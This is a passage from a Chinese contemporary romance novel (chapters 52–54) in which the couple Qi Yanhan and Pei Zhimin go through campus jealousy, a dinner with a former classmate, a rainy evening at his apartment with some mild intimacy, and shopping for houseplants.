过了这么多年,他依旧改不了自私虚伪的那一面,就像当年他们离婚分割财产时,他作为过错方,还恬不知耻地寸步不让,闹上法庭弄得全家鸡犬不宁。 沉默半天,祁砚寒终于开口说了第一句话。 “麻烦让一下。”声音不辨情绪。 看他这样的态度,祁砚寒微愠了好一阵,末了深吸一口气,侧过了身,祁砚寒径自从他旁边走过,出了大门,一阵风涌了过来,夜深了几分,风里沾着丝丝凉意,吹得人愈发清醒。 事情过去了就过去了,说得倒是轻巧。 当初他们离婚,祁宏“一时失手”差点让闻瑾断送半条命,撞上桌角留下的腰伤一生难以痊愈,天气一变就疼,想到这里,祁砚寒眼眶略微湿了。 风过之后,夜晚依旧宁静。 回到他自己的家,祁砚寒坐在沙发上摸出了烟盒,咬上点燃,一面抽一面点开手机,页面上躺着一条微信,裴知悯半小时之前发来的,她说她到了,他回说“好,早点睡”,刚发完,页面又跳出了另一条消息。 裴知悯:“记得喝蜂蜜水。” 祁砚寒轻轻一笑,掐灭烟去泡了一杯,又给她拍照发了过去。 那头似乎是满意了,回了个点赞的表情包。 后来的几天,祁砚寒忙着收尾这次紧急的事件,裴知悯则在修改论文,联系全靠手机,但是他们之间的聊天其实不多,知道他在忙,她有时一天都不会发来消息,祁砚寒看到那空荡荡的手机页面,不禁有点头疼。 事情告一段落后,祁砚寒开车去了南大,正好给闻霏送份资料。 办公室没有人,他在那儿坐了会儿闻霏才回来,“你还没走?” 祁砚寒自顾自地倒了杯茶,闲散一笑:“这不是想您了吗?” 闻霏当然不信,拿走那份文件,道了句:“你有事就说。” 祁砚寒只是笑笑,没吱声。 “你别把我这儿当成休息室了,”闻霏瞥他一眼,“我那茶都是给贵客喝的。” 祁砚寒笑了,悠然地继续喝着。 “诶,你这半年来我这儿好像格外勤快,”闻霏忽地想起什么,一语中的,“不会是有喜欢的人在这吧?” 祁砚寒捏着茶杯的手指收紧了下。 闻霏装作像是有这回事似的,打听道:“谁的学生啊?” “要是您手下的呢?” 闻霏看他那漫不经心的样子,根本就没把这句话放在心上。 祁砚寒撩起唇角,似有若无地问起:“真看上了,您舍得放人吗?” 闻霏哪里想理这人。 “赶紧走!”她开了电脑,下起了逐客令,“我忙着呢。” “行。”祁砚寒放下茶杯,拍了拍大腿起身。 “等等,”闻霏的眼神变得锋利起来,“你看上谁了?” 祁砚寒卖了个关子,捞起沙发上的黑色外套往外走。 “您以后就知道了。” 闻霏只当他在开玩笑,轻叹一声道:“这几天你妈妈复查,记得提醒她,免得她又说工作忙 不去。” “知道了,小姨。”说完他就开了门往外走,楼梯间,祁砚寒给裴知悯打了个电话,铃声响了十来秒才被接起。 “在忙吗?”他问。 裴知悯温声:“嗯。” 走过这一层,从楼梯口出来,祁砚寒一眼就看见了裴知悯,身后跟着韩照,两个人都抱着书,从一个办公室出来。 她穿着粉色衬衫深蓝色牛仔裤,头发半散在背后,腰身纤细,长腿笔直,整个人透着一股简约的柔美,和韩照走在一块,有点晃眼,裴知悯朝他比了个手势,大概是要朝这边走,韩照笑了下,跟上了一起。 祁砚寒目光沉了沉,晦暗不明地盯着他们看,听筒里有温柔的声音传了出来,“我这边还有点事,等会再打给你行吗?” 祁砚寒视线直直地落在他们身上,没出声。 裴知悯试探地“喂”了一声,正疑惑间,韩照碰了下她的手臂,她抬眼一看,有点愣了。 第52章 第52章你什么样我就喜欢什么样。…… 祁砚寒站在不远处,目光深沉,凝视她半晌,按掉了手机。 “嘟”的一声传来,裴知悯意识立马清醒了,她扭头看向韩照,不好意思道:“师兄,你先走吧,我晚点再去实验室。” 女孩子眸光柔软,眼里藏着细小的欢喜,和平常的样子略微不同,韩照心细,察觉到后还是确认了一遍:“你们这是……?” 裴知悯莞尔:“在一起了。” 韩照微愣了一刹,静默片刻,微笑道:“祝福。” 裴知悯浅浅一笑,待他走后,她抬脚朝祁砚寒走过去,对面的男人面色平淡,静静等待着。 “你来找闻老师吗?”她开口就问。 祁砚寒扯唇一笑:“我就不能是来看你的?” “应该不全是,”裴知悯看向身旁的楼梯口,分析得有理有条,“这是在二楼,你都不知道我在这里,要是你来找我,怎么都会在一楼的楼梯口。” 祁砚寒平平笑了,难怪人家说女人心思细腻呢,他就站在这儿,一句话都没说,她就能给你分析出来。 裴知悯一脸邀功状:“我说的没错的吧?” 祁砚寒轻笑着颔首。 窗外的阳光正好,暖洋洋地照了进来,祁砚寒的脸色却没有多大变化。 “你……不高兴吗?”裴知悯终于问到了点子上。 祁砚寒轻咬了下牙根,望着她没吭声。 “不对吧,”裴知悯跳转话题歪头一笑,“见到我还不高兴啊?” 祁砚寒微微弯起了唇,望着她笑。 裴知悯被看的心里发慌,简言解释道:“刚刚我在帮一个老师整理资料,正好和师兄碰见了,他就帮了帮我,刚弄完,你的电话就来了。” 祁砚寒眸色渐黯。 这不解释还好,一解释怎么感觉说不清楚了。 裴知悯暗自咬了咬牙。 祁砚寒眯着眼睛,前言不搭后语地来了一句:“这次没挂我电话都算好的是吧?” 裴知悯一头雾水,站了好半天才反应过来,心虚道:“你那天看到了啊?” 祁砚寒淡淡哼了一声。 裴知悯一手抱着书,空的那只手去拉他的手,讨好一笑:“翻旧账是不好的,再说了,我这次不是没挂吗?” 祁砚寒挑了挑眉,这意思是他还占了便宜? “我手机开了静音,刚才差点就错过了,”裴知悯又说,“还是师兄看到提醒我……” 话音未落,祁砚寒就一把将人拉进了楼梯间,反手关上门,他护着她的脑袋把人压在墙上,直接吻了上去。 裴知悯眼瞳睁大,大脑跟宕机了似的,只能仰头承受,只是她到底生涩,紧闭着唇,根本不懂回应,祁砚寒轻咬了下她的唇瓣,声音低哑:“嘴巴张开。” 裴知悯完全思考不过来,下意识照做。 然后,一发不可收拾。 这个吻比上次猛烈得多。 祁砚寒用了力,肆意在她口腔侵掠,裴知悯逐渐沦陷在了这个吻里,全身发软,要不是腰上那只手臂揽着,她书可能都要拿不稳。 男人唇舌强势,愈吻愈深后,裴知悯有点呼吸不过来,忍不住推了推身前的人,祁砚寒退开了些距离,吻向她的耳畔,裴知悯轻轻一颤,下一秒,他的声音钻了进来:“下次再一直提别的男人,就别怪我不客气。” 裴知悯将脸埋在他的胸前,平复呼吸间,闷声问:“你这是吃醋了吗?” 祁砚寒偏开头,舔了下腮帮,又转头回来看她,直言道:“这还不明显?” 裴知悯无声笑了。 楼梯口安静,她的喘气声一声一声,又软又低,有点勾人。 祁砚寒咬了咬牙,将话题扯开:“下午有空吗?” 裴知悯低声说:“要去实验室,今天值班。” 祁砚寒笑:“我女朋友这么忙啊?谈恋爱的时间都没有。” 裴知悯不满:“你不也是很忙吗?” 这话细听还有点撒娇的意味。 祁砚寒轻笑,抬起她的下巴:“这是在怪我没找你?” 她脸上的绯红很明显,看的人心神荡漾。 裴知悯摇头,善解人意道:“没有,我只是就事论事。” 祁砚寒慢慢笑了,她好像一直都是这样单纯诚恳,善良体贴的模样。 “所以一天也不跟我发个消息?”他的眼神危险起来。 裴知悯抿唇:“我不是怕打扰你吗?” 祁砚寒神色一顿,慢声说:“我不觉得你是打扰,你能明白我的意思吗?” 裴知悯笑了一声,答了一个“哦”。 沉默间,楼上忽然传来了脚步声,交谈声随之响起,裴知悯应激反应般的推阻了下他,几乎用的气声说:“有人来了。” 祁砚寒好笑:“这么怕的吗?” 裴知悯撇了撇嘴,脚步声逐渐逼近,她一时慌乱,扯着他的袖子往下走,祁砚寒暗自一叹,握紧了她的手下楼。 外面风朗气清,阳光灿烂,路上的学生三五成群,他们走在人群中,平淡自然,裴知悯已经缓过来了,问他:“你今天不忙?” 说到这里,祁砚寒想起昨天晚上,和林泽民聊完合同,他问起他们之间的事,实话实说了后,那人便说明晚带上她一起吃饭。 祁砚寒:“晚上和你们班长签合同,他说让我带你一起去,去不去?” 裴知悯仰头看他:“我去不会影响你们吧?” 祁砚寒:“应该不会。” 春光明媚,他们牵手走在林荫路上,她怀里的书都抱了一路了,祁砚寒拿到自己手上,还挺沉。 “论文还没写完?”他问。 裴知悯嘟囔:“哪有那么容易,论文都是要改好几遍的,有些人更惨,要改十几二十遍才会过。” 祁砚寒捏了捏她的手指:“辛苦了。” 裴知悯笑:“还行,承受得住。” 中午的太阳很好,一望无际的天空中,浮着片片白云。 祁砚寒沉吟片刻:“听说过一个词吗?” 裴知悯疑问:“什么?” 祁砚寒一字一顿:“好事多磨。” 裴知悯缓缓笑了,这个词儿真有种历尽千帆得偿所愿的感觉。 食堂里人来人往,有时会遇见熟人,打招呼时有人会问一句她身旁的人是谁,听到她说“男朋友”,祁砚寒脸上不自觉就扬起了笑意。 吃过午饭,裴知悯拿上电脑去了值班教室,祁砚寒闲来无事跟着一道去了,实验室空荡,偶尔会有学生进来,待不了多长时间就走了。 人员登记这活儿很轻松,裴知悯主要是在那儿敲论文,祁砚寒在一旁玩手机,时而会出去接个电话,抽根烟。 粗略改完一遍,裴知悯去外边接水,回来时,祁砚寒面前站了一个长发飘飘的女生,没半分钟,那女生稍显失落地走了。 裴知悯从后门进来,不解地问:“怎么了?” 祁砚寒懒散道:“你男朋友被人盯上了。” 这话说的,还挺有艺术效果,裴知悯一下就懂了。 “放心,”祁砚寒说,“我没给联系方式。” “我知道,”裴知悯放下水杯坐下,手撑着下巴问他,“我就是有点好奇,你是怎么说的?” 祁砚寒悠哉道:“我说我除了脸一无是处,让她别被我蒙骗了。” 裴知悯噗嗤一声笑了,想起好多年前,他拒绝女生也是这样说的,那时她还躲在墙后,如今却已经坐在了他身边。 “诶,你喜欢长发的女生吗?”裴知悯忽地问。 祁砚 寒眉头微拧,看了眼她垂在胸前的长发,说:“还行。” 裴知悯不太满意:“什么叫还行?” 祁砚寒笑着道:“你头发是什么长度我就喜欢什么长度。” 裴知悯低头“噢”了一声。 “别怀疑,”祁砚寒凑近两分,低声道,“你什么样我就喜欢什么样。” 裴知悯抿嘴笑了。 结束这个话题,她又敲起了电脑,祁砚寒百无聊赖地玩着手机,游戏玩够了,他又去看她的微博,这段时间她都没更新,想来是被论文绊住了。 最新的一张是在半月前,画的是两张夜里撑伞行走的背影,祁砚寒一眼就看出来了是那晚在栖梧,他们并肩走在青石板路上。 底下的首评是:[老师,这是你男朋友吗?从前暗恋的人真的放下了?] 寂静的远山:“是同一个人。” 她回复的时间是三天前。 这句话的底下,评论量数以万计。 祁砚寒一条条扫了下去,看见他们清一色的好听的话,一时间有点怔愣了,在世界的某个地方,这个女生把隐秘难言的心事说给了数万人听,但他却始终不知,像是过错。 余光瞄见他在盯着手机发呆,裴知悯问他是不是无聊了,祁砚寒关了手机,故作认真地想了想,说有点,然后又逗她说要不我们做点不无聊的事?气得她都要动手了,男人这时候又会来哄她,裴知悯不理,专心看着电脑屏幕。 地上树影斑驳,洒进来的阳光慢慢变了色。 和下一个值班人员交接完,裴知悯和祁砚寒一起出了校,坐在车里,她趴在车窗上看日落,柔和的风拂过脸畔,吹得人心情莫名的好,她忍不住感慨了一句:“这种天气好适合兜风啊。” 祁砚寒接的很快:“想去吗?” 裴知悯“啊”了一声,偏过头看他,眨眨眼说:“我就是这么一说。” 祁砚寒笑了笑:“以后带你去。” 裴知悯很慢很慢地“哦”了一声。 夕阳渐渐沉没,天边的晚霞依旧绚丽,像造物主打翻了颜料。 商场里的餐厅里,林泽民早到了。 “好久不见啊,”他说,“老同学。” 裴知悯微微一笑:“好久不见,班长。” 落了座,几个人边吃边聊,一顿饭吃得很愉快,七分饱时,裴知悯起身出去了一趟。 “高中时,那么多喜欢你的女生你都没选,”林泽民慨叹道,“没想到会是裴知悯。” 祁砚寒笑着反问:“她不好吗?” 林泽民语气很慢:“是她太好。” 他还记得,高考前这个女生家里突发变故,但她的成绩始终未出前一百,他不敢想象这需要多大的定力和毅力,她的身上,总有一股不显山不露水静水深流的力量,不知不觉就能吸引人。 他是欣赏她的。 祁砚寒搭在桌面上的手似有若无地点了两下,低眸道:“是我赚了。” 林泽民抿了一口酒,笑道:“知道就好。” 人来人往的商场,很是热闹。 裴知悯拎着那罐蜂蜜回到餐厅时,他们已经聊完正事了,林泽民和她打过招呼先行离开了,他们在这一层逛着,祁砚寒扫到她手里的袋子,问:“买了什么?” 裴知悯把东西给他:“蜂蜜。” 祁砚寒扬起笑意:“我家不是有吗?” 裴知悯仰头:“这叫有备无患。” 祁砚寒还是笑,收了下来。 商场里灯光明亮,人潮如织,裴知悯不知道看见了什么,连忙松开了他的手,背过身去挡住脸,心虚都写在脸上了。 祁砚寒:“看见谁了?” 裴知悯瞟了一眼那边,确认人进店了才转过身来说:“我妈。” 祁砚寒眼皮微跳,无可奈何地叹息了下,人生第一次有拿不出手的感觉。 第53章 第53章“不能继续了,这儿没东西。…… 过了三月,南城的气温升了五六度,天气愈发好了。 那段时间裴知悯一直在学校完善论文,又把之前的课题收了尾。 周六那天,她去了一趟绘画机构,半个月前她就和主管说了辞职的事,今天是她最后一天来这里兼职了。 这一天平常普通,事情不少,结束后,裴知悯在休息室坐了会儿。 日头西斜,淡粉色的霞光映在玻璃窗,一张明快的笑脸出现在了窗子上,方芷宜来了,给她看她画的画,她画的是一张香樟树下的女生背影图,人物的线条连接得十分流畅,色彩搭配得也很和谐。 裴知悯毫不吝啬地夸奖道:“画的很棒,明显进步了。” 方芷宜被夸得眉眼弯弯,小声道:“我还担心画得不好。” 裴知悯:“怎么会?要有信心。” 门外来往的人很少,祁砚寒进来时,她们两个聊得正欢,他在旁边站了好一会儿才被方芷宜看到。 “哥,”她略微吃惊,“你怎么来了?” 知道他这阵子忙,方芷宜就没让他来接了。 祁砚寒握拳虚咳了一声:“不是来找你的。” 说着他走到了裴知悯身边,牵起了她的手。 方芷宜瞪大了双眼,表情又惊又喜:“你追到知悯姐姐了啊?” 手都牵了,这还不明显? 祁砚寒轻轻一笑:“喊人。” 方芷宜脑瓜转得很快,立马接道:“嫂子好。” 裴知悯浅笑着应了下来。 晚上是三个人一起吃的,方芷宜对这个嫂子简直喜欢得不行,席间的话题一茬接着一茬,祁砚寒想说话都插不进去嘴。 吃完饭,方芷宜当起了电灯泡,拉着裴知悯去看了半个小时的街头涂鸦,末了还把她哥当工具人使让他给她们拍照,有时没拍好还会被嫌弃,祁砚寒目光幽怨,盯着方芷宜看了十来秒,她的眼力见儿才后知后觉地上来,没多久就走了。 “这姑娘,话也太多了,”祁砚寒忍不住头疼。 裴知悯笑:“活泼点是好事。” 祁砚寒低眸看她:“怎么说?” “外向啊,肯定不缺朋友,而且调节能力应该挺强的,”裴知悯自顾自说,“这样的人比较容易快乐。” 祁砚寒笑了:“那你要不活泼点?” 裴知悯抿了抿嘴,很认真地看着他:“我性格不活泼吗?” 祁砚寒反问:“难道不是?” 印象里这姑娘很少有特别活泼的时候,如今跟她谈上朋友了,倒是比从前话多些。 裴知悯思索半晌,看向他说:“要是你喜欢活泼的女生的话,我觉得你可以……” “另找他人”还没脱口,祁砚寒就打断道:“算了,咱不说活不活泼了,我就喜欢你这样的。” 裴知悯扬起下巴,缓缓笑了。 夜色上浮,街灯一盏盏地亮了起来,照亮了人头攒动的街头。 祁砚寒揽上她的肩:“今晚不忙的话,我们散会步?” 裴知悯:“好啊。” 不远处有街头歌手在驻唱,沧桑又磁性的嗓音吸引了众多停留的人,他们过去时,杨宗纬的《越过山丘》的前奏已经响起。 “越过山丘遇见十九岁的我, 戴着一双白手套喝着我的喜酒……” 他们站在人群中,听完了这一整首,一曲唱罢,周围的人纷纷喝彩,裴知悯跟着一起鼓起了掌,忍不住感叹:“唱得好好听啊。” 祁砚寒:“就是曲调有点悲。” 裴知悯也觉得,那句“为何婚礼上那么多人,没有一个当年的朋友,我说我曾经挽留,他们纷纷去人海漂流”,光是听见都会让人泪流。 祁砚寒眸光悠远,没有吱声。 马路宽阔,川流不息,他们沿着这条街慢慢走着,沿街遇见了好多水果摊,卖的都是刚上市的瓜果,小贩悠闲地坐着喝茶,纸板上写着“一斤十五元,不甜不要钱。” 裴知悯目光从那一篮篮的枇杷青枣杨桃上略过,最终停在了角落的樱桃上,个头很大,摆得很整齐。 祁砚寒顺着她的视线看了过去,问道:“想吃?” 裴知悯摇头:“不想,这都是 骗人的,现在都不是樱桃上市的季节,怎么可能甜。” “你还挺懂,”祁砚寒笑,“这是被骗过?” 裴知悯默了两秒,扬起小脸嗯哼了声。 说完她就往前走了,丝毫不知道在小摊前停留的顾客大概是听到了他们的谈话,临到付钱时含糊其辞地说不要了,引得那个商贩老板起身连连挽留:“小姑娘你再看看,我家的水果肯定甜——” 祁砚寒听着一时失笑,抬脚追了上去,裴知悯左瞧瞧右看看,什么都没买,一直走到了分岔路口,这里坐落着一家影院,见时间还早,两人进去挑了一部最近上映的喜剧电影,再出来时,时间都九点过了。 外面天色漆黑,明月高悬,笼罩着温吞的人间。 走过拐角就是美食街,烧烤香味飘了很远,烟火气十足,各家店前都有派发传单的店员,从食物香气中穿过,有个集市,里面有不少新奇的玩意儿,裴知悯感觉新鲜,时走时停,逛到一半,忽地下起了雨,雨点劈头盖脸地砸了下来,路上的行人一哄而散。 这雨来得毫无征兆,顷刻间就下大了,雨点溅得很高,他们在就近的一处屋檐下躲雨,祁砚寒把裴知悯往身后拉了点,她没往后退,伸出手接了一捧雨水,感慨道:“怎么忽然就下雨了呢。” 祁砚寒想起什么:“过几天清明,雨水多很正常。” 裴知悯恍然:“清明了啊。” 每年这时候,外婆的心情都不太好,大概是外公下葬那天,也下了一场很大的雨,比这还大,能掩盖住外婆的哭声,裴知悯望着这苍茫的雨幕,心情不受控制地跌落下去。 祁砚寒看她情绪不太对,连忙问:“怎么了?” 裴知悯摇摇头,朝他笑:“没事。” 一场雨来得猝不及防,生意很难做了,各种小贩匆匆收了摊,有个卖糕团的小摊撑着伞,从他们面前经过,裴知悯眼神始终跟随。 祁砚寒:“想吃吗?” 裴知悯沉默两秒,说:“算了,这么大的雨。” 祁砚寒察言观色的能力并不弱。 “我去给你买。” 说完他就跑进了雨中,滂沱的雨水打湿了他的衣服,她看见他付了钱,护着食物袋子跑回来递到她面前。 微凉的冷风从侧方刮过来,裴知悯不禁缩了下肩膀,心头又热又软。 “你吃吗?”她举起热气腾腾的糕点,笑得灿烂又谄媚。 祁砚寒抹了一把脸,笑着说:“不用。” 裴知悯“哦”了一声,小口小口吃了起来。 他们站在廊下,静静地等着雨停,一刻钟过去了,雨还是没有减弱的趋势。 远处有奔跑追逐的小孩子,一个个淋的湿透,笑声依旧很响亮欢畅,裴知悯忽地有点羡慕他们那种随心所欲。 “要不我们跑吧?” “淋雨跑能跑吗?” 他们同时出声。 两人看着彼此,慢慢都笑了,规划好路线,祁砚寒拉着她的手就跑入了大雨之中。 放肆的后果就是,他们都淋的像个落汤鸡,裴知悯的湿发一绺一绺地贴在鬓边,看起来狼狈又可怜,她还挺开心,眉眼一直弯着,祁砚寒抽出面巾纸,给她擦起了头发,等她发梢不再滴水后,他简单收拾了下自己,启动了车子。 开出停车场,车辆很快汇入车流。 身上的针织衫和半裙湿哒哒的,贴在皮肤上又冷又不舒服,裴知悯接连打了好几个喷嚏。 雨势急切,这条路好像出了事故,前面堵住了,等了十来分钟,还是没有动静,祁砚寒打了一圈方向盘,开上了另一条街。 裴知悯看出这不是回南大的路,疑惑道:“这是去哪儿啊?” 祁砚寒看了眼后视镜:“我家。” 裴知悯心头一跳,又听见他说:“怕你感冒,洗了澡我再送你回去。” 她闷闷地“嗯”了声。 车辆平稳驶过这一带,一路顺利地到了他家小区。 从下车到上楼,裴知悯全程都是僵着的,开了灯,一室明亮,祁砚寒拿出自己的拖鞋给她,又去把暖气开了,他家的装修简约大气,以黑灰白为主,孤寂冷冽,跟他的气质倒是挺符合。 “先穿这个,”祁砚寒找了一身干净的衣裤给她,“你的衣服等会拿去烘干。” 裴知悯木讷地点头,接过来。 白炽灯从头顶洒落,她的神态在光下一览无余,看出她不太自在,祁砚寒噙着笑问:“紧张?” 裴知悯别开脸:“没有。” 祁砚寒偏过头闷声笑了下,又转回头看她:“放心,我说到做到。” 裴知悯抿了抿唇,跟着他去了卫生间,交代完设施的使用,祁砚寒出去了,她在原地站了一分钟,缓慢脱掉衣服,打开了热水器。 哗啦的水流声被窗外的雨声淹没了,祁砚寒站在阳台上,点了根烟慢慢抽着,一支抽完,浴室里的人出来了。 他的T恤穿在她身上特别大,领口垂在了胸口上方,下摆快要到膝盖了,裴知悯边走边拢着衣服,姿势有点别捏。 “我好了,”她指了指浴室,“你去洗吧。” 刚洗过澡,裴知悯的耳尖上泛着一层薄红,脸蛋跟剥了壳的荔枝似的,白皙莹润。 祁砚寒哑声“嗯”了下,给她拿了吹风机,又把电视开了,才去了浴室。 月夜幽深,大雨倾盆,成串成串地从玻璃窗上滚下来。 吹完头发,浴室的水声均匀地响着,裴知悯心神不定,电视里放着的连续剧根本就没看进去。 黑白色的房子里,茶几下方的那抹彩色很突兀,裴知悯拿出来一看,居然是本写青春小说的杂志,更重要的是,这本采用了她的画稿,她坐在了客厅铺的软垫上,打发时间一页一页地看了起来。 没过几分钟,浴室门开了,祁砚寒擦着头发走了过来。 “在看什么?”他问。 裴知悯抬头看他,眼睛很亮:“你怎么会有这种杂志啊?” 祁砚寒瞥了眼那书,随口编纂了个理由:“芷宜买的。” 事实上,这些都是他在网上发帖高价收远山画稿的杂志收回来的,但时间久远,这里是能收到的全部了,那些天,他把她画的稿都看了一遍,实话实说,她是一个很厉害的插画师。 窗外的雨不像之前那样急了,但打在窗户上,声响依然沉重。 茶几下还有几本,裴知悯都拿了出来,看见那本二零一四年七月刊的《惜时》时,她顿生欣喜,自言自语:“竟然还有这个。” 祁砚寒明知故问:“有这个怎么了?” 裴知悯嘴角弯起,侧过半个身子,尾音上扬:“跟你说个秘密,你肯定不知道。” 祁砚寒眉头一挑,认真地看她:“你说。” “这上面有我画的图,”裴知悯举起那本《惜时》,神情很骄傲,“想不到吧。” 祁砚寒轻轻笑了笑,配合道:“确实没想到。” 那年他在书店里,不小心弄掉了的就是这本杂志,他说赔她一本,她说不用,兜兜转转,这本杂志还是“赔”了回去,用了更高的价格。 窗外的月亮不知何时钻到了乌云里,嘈杂雨声中,她听见他问:“是哪一幅?” 裴知悯眼光微闪,转过身道:“不告诉你。” 祁砚寒笑意加深,无声的揉了揉她的脑袋。 裴知悯盘腿坐在垫子上,弯着腰翻看着杂志,T恤领口宽大,她微微往前一倾,那片风光就显露无疑,又白又挺的形状,看得祁砚寒喉咙一紧,他看向别处,暗暗深吸了一口气。 偏偏这时候,裴知悯又转过了头,单纯的眼里带着狡黠:“如果你实在想知道,就跟晚上我们遇见的那个歌手一样,在街头唱首歌吧,赢得满堂彩我就告诉你。” 她仰着头,那双眼睛跟水一样温柔干净,祁砚寒眼神渐深,紧盯着她玩味地笑了。 裴知悯咽了下嗓子,别开眼神:“不愿意的话就当我白说。” 她边说边往旁边挪了两步,圆润轻抖,祁砚寒喉结一滚,直接握住她的手腕,把人扯进了怀里,低头吻了上去,裴知悯的手下意识搭 在了他的肩上,“唔”的一声还没泄出,就被吞没了。 男人吻得专注急切,唇舌紧紧和她的纠缠着,怀里的人被迫仰面承受着,腰上的那只手上下摩挲着,而后撩起衣摆往里探去,裴知悯浑身一颤,掐紧了他的肩膀,吻尽兴了,祁砚寒缓缓转向她的脖颈,湿润热烈的气息让怀里的人连连喘气。 屋里灯光明亮,电视声还在响,拥吻的男女影子痴缠。 室内本就开了暖气,亲了一通,裴知悯浑身都是热的,她几乎是无意识的一扭,祁砚寒狠狠皱眉“嘶”了声,停下了动作。 “不能再继续了,”他埋首在她颈间,闭着眼喘息,隐忍道,“这儿没东西。” 裴知悯睁开水光潋滟的眼眸,怔了一秒,反应过来脸又红了两分。 第54章 第54章我们要好好珍惜。 窗外的雨小了两分,雨水缓缓从玻璃窗上流淌下来,屋子里一片亮堂。 祁砚寒咬着牙根靠在沙发上,平复了一阵,燥意还是没能压下去,他咬牙吸了一口气,又去了一趟浴室。 水声再度响起,裴知悯拍了拍脸,把书整理好放回去,窝在沙发上看起了雨。 乌云浓厚,一点点把月亮吞没,黑蓝色的天幕里,没有一星光亮。 裴知悯看得专心,连祁砚寒什么时候出来的都不知道,一双结实的手臂从身侧伸了出来,揽上她的腰,他身上的冷气让人禁不住一哆嗦,裴知悯扭头问道:“你怎么洗的冷水澡?” 这一句杀伤力简直不要太强。 祁砚寒按了按眉心,意蕴深长道:“不然解决不了。” 裴知悯面颊一烫。 外面慢慢起了风,溜进来两缕,窗帘被吹起了一个小角。 祁砚寒把电视声音调小,给她倒了杯水,裴知悯喝完,把杯子递回去,他放好水杯,问道:“看什么呢?这么认真。” 裴知悯在他怀里找了个舒服的姿势:“月亮。” 祁砚寒跟着看去一眼,黑夜沉沉,哪有月亮。 “现在没有了,”裴知悯说,“月亮进到乌云里去了。” 祁砚寒笑:“怎么喜欢看月亮了?” “就是安静地坐在这里,听雨赏月,”裴知悯闭着眼,莞尔道,“感觉超级美好。” 祁砚寒轻轻吻了下她的发端,问是不是近段时间太累了,裴知悯晃了晃脑袋,说还行。 祁砚寒沉吟片刻,轻声问:“那要不今晚不走了?” 裴知悯刷地睁开眼看他。 她这张脸,真是藏不住一点事,祁砚寒低笑一声,话说得一本正经,眼里的挑逗却藏不住:“我家有客卧。” 裴知悯咬了下唇。 祁砚寒凑到她耳边,刻意压低声音:“还是说你想和我睡?” 裴知悯脸一瞬间就红了,拍了他一下:“你别乱说。” 她的声音似嗔还骂,杏眼溜圆,生动得不行。 祁砚寒笑得胸腔微抖,啄了下她的耳尖,诱哄道:“我倒是想。” 裴知悯耳根爬上了一抹粉色,往另一边挪了挪,又回眸瞪他:“你想得美。” 祁砚寒轻笑了一声,抚摸着她的后背,重新把人搂紧怀里,“好了,我不说了。” 裴知悯轻哼了一声,安静下来。 雨势愈发小了,两个人有一搭没一搭地说着话,他的怀抱温暖宽厚,裴知悯枕在他胸前,有些昏昏欲睡。 电视剧的片尾曲放了起来,祁砚寒探身去拿遥控器,关完才发现身前的人已经闭上了眼睛,呼吸均匀,睡颜恬静,看起来睡得很香。 祁砚寒无声笑了,静静地注视着她,半晌,他打算把人抱进房间里睡,手刚环上她的腰,一串很长的“叮铃”声就响在了空气里,裴知悯被吵醒,缓慢睁开眼皮,他的脸近在咫尺,漆黑的眸子,让人看不清情绪。 “怎么了?”声调软糯。 祁砚寒呼吸沉了两分,拊住她的下巴,径直吻了下去,裴知悯嘴巴微张,轻而易举地放他侵入了进来,男人却尝了个甜头就适可而止,吻了下她的眉心,缓声道:“衣服烘好了,起来穿吧。” 裴知悯缓了半晌,从沙发上下来,去烘干机把衣物拿出来,抱着去了浴室,窸窸窣窣的声响很快传来。 祁砚寒深吸了一口气,从烟盒里摸出一支烟点燃,狠狠吸了两口,他往后一靠,看向外边深黑的夜空。 换好衣服,裴知悯跟着他下楼,临走前,祁砚寒把她的指纹录在了他家门的系统里。 雨水淅淅沥沥的,路上的车辆不多,他开得很稳,雨刷器有节奏地工作着。 这条路的的尽头是个红灯,祁砚寒将车刹住,握上了她的手,漫不经心地把玩着,她的指节白嫩纤细,手掌很小,他一只手能完全包住。 裴知悯由着他动作,扭头看向窗外,街上行人三两,还有几间店铺亮着灯在做生意,门口却很冷清,街灯昏昏黄黄,那抹绿色格外显眼。 裴知悯回过头看他:“你觉不觉得你家有点空荡?” 他家的装饰太单调了,一眼望去都看不见什么彩色,有点过分沉闷。 祁砚寒揉捏着她的细嫩手指,故意曲解这话:“要不你住进来?” 裴知悯急忙解释:“我不是这个意思。” 祁砚寒慢慢笑了。 “不一定要人加入啊,”裴知悯眨眨眼说,“还可以放一些装饰品。” 祁砚寒以眼神询问。 “要不买两盆绿植吧?”裴知悯指着前面路边的那家花店说,“既装饰了家里,还能清新空气,调节湿度,一举多得。” 祁砚寒循着她的动作看去一眼,捏了捏她的脸:“你早就看好了?” “没有,”裴知悯说,“这不是正巧遇上了嘛。” 祁砚寒笑:“你说的是。” 红灯这时变绿了。 祁砚寒将车往前开了几十米停住,裴知悯推开门下去,径直去了花店挑选,老板是个很热情的中年妇女,了解到他们的需求后,推荐了不少种类,最后,裴知悯要了三盆很好养活的绿植。 问起祁砚寒的意见,这人说:“都听你的。” 老板慈祥地笑了:“小两口感情真好啊。” 祁砚寒笑着应下来。 付了钱,老板让他留一个电话号码和地址,五天内送货上门,又着重跟他们说了养护方法,裴知悯一一应着,车辆重新启动,她忍不住叮嘱:“刚才老板说的,你都记住了吗?” 祁砚寒目不斜视:“知道。” 裴知悯暗自一叹,拿出手机开始敲敲打打。 这场雨在进南大的时候停了。 车停在她的宿舍楼下时,裴知悯刚好打完字,她开门下去,让他好好看一下她发的消息,祁砚寒还没反应过来,手机就“叮咚”响了下,他看着那一长串的注意事项,从喉咙里溢一声笑。 目送完她进去,他开车驶离宿舍楼出校,半途碰见了闻霏,她晚上看论文没注意时间,这才走晚了,但这个点他在这儿属实让人震惊,问起原因,祁砚寒没有糊弄过去,直言说送女朋友回来。 闻霏多言问了两句,得知那个女生是裴知悯后,她的表情变了又变,这时总算明白之前他说的那一通似有非有的话是什么意思了。 祁砚寒站着听了几分钟的训,才脱了身。 清明时节雨纷纷,古人确实没说错。 那几天南城的雨下得断断续续的,时急时缓,弄的人都没了兴致出门,与南城相隔一千五百公里的北京却还是晴天,路上却没多少人为这样的好天气驻足。 祁砚寒下了飞机就去见合作伙伴了,处理好这边的事,他又去了一趟蒋琛那儿,这家伙如今的项目出了问题,每天忙得焦头烂额的,他去到他公司楼下的咖啡厅时,蒋琛也才刚到,他的衬衫皱巴,扣子只系了四颗,整个人看上去有些不修边幅。 给他分析融资的事,祁砚寒说了一个上午,末了,蒋琛千万万语只汇聚成了一句话:“谢了啊。” 